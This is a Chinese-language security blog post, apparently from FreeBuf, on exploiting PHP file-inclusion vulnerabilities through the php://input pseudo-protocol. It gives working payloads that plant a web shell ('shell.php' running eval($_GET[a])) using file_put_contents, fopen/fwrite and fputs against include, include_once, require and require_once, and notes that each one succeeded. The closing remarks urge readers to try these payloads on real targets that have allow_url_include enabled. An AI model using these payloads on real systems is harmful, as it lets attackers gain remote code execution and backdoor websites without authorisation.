独爱dy71
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
一、导言
在PHP中,有以下几个函数可以实现文件包含
(1) Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
(2) Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
(3) Require_once与 include_once类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含
而有了文件包含漏洞后,我们可以上传图片马绕过一些waf的检测,实现getshell,相同的,我们也可以使用PHP内置的伪协议,实现更多的操作
二、PHP伪协议
1、file:// 访问本地文件系统
2、php:// 访问各个输入/输出流
3、data:// 数据(RFC 2397)
4、zip// 压缩流
5、phar:// php归档文件
附一张其它大佬哪里得的图
三、开始使用php://input伪协议进行实验
1、include()
此伪协议可以实现POST部分传输数据,与是呼就成了getshell佳选,当然,测试前,要开启几个配置
条件:php版本的ini中开启 allow_url_include = On
接着便开始我们的实验
测试源代码函数:include()
测试是否开启成功
payload1:<?php system("dir");?>
配置已开启完毕,测试
payload2:<?php file_put_contents("shell.php","<?php eval(\$_GET[a]); ?>");?>
发现无反应,但是我们来到根目录
发现成功写入,解释一下file_put_contents(文件名,数据)函数
将字符串写入文件,当文件存在时就写入,不存在时,先创建文件在写入。
其次$符号要用\进行转义,因为$符号在PHP中属于定义变量的意思
接着尝试
payload3:<?php fwrite(fopen("shell.php", "w"),"<?php eval(\$_GET[a]); ?>");?>
也是无反应,但是来到根目录
成功写入
函数fopen(),fwrite解释,
fopen(文件名,写入模式),当写入模式为 r 时,找到指定文件名进行写入,找不到就报错,w则是自己创建文件
fwrite(文件名,数据),指定文件名进行写入,无文件时则报错
接着
payload4:<?php fputs(fopen("shell.php", "w"),"<?php eval(\$_GET[a]); ?>");?>
无反应,看向网站根目录
- 成功写入,fputs()函数将内容写入一个打开的文件中
fputs(file,string,length),找到指定文件名,找不到即报错,string,写入数据,length可有可无
2、include_once
函数代码:
好,开始上payload进行测试
payload1:<?php fputs(fopen("shell.php", "w"),"<?php eval(\$_GET[a]); ?>");?>
网站根目录,
成功上传
payload2:<?php file_put_contents("shell.php","<?php eval(\$_GET[a]); ?>");?>
网站根目录,同样成功
3、require
测试代码:
测试payload:<?php fputs(fopen("shell.php", "w"),"<?php eval(\$_GET[a]); ?>");?>
网站无反应,但是看看根目录
成功写入
4、require_once
测试代码:
测试payload:<?php file_put_contents("shell.php","<?php eval(\$_GET[a]); ?>");?>
无反应,接着查看根目录
成功写入。
结语:
当然生活中如果遇见对方开启php://input必须条件时,可以尝试上述payload实现getshell,或者发掘更多PHP函数实现,如果遇不见对方开启条件时,便可以尝试其它伪协议,如file://, php://filter等实现读文件
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)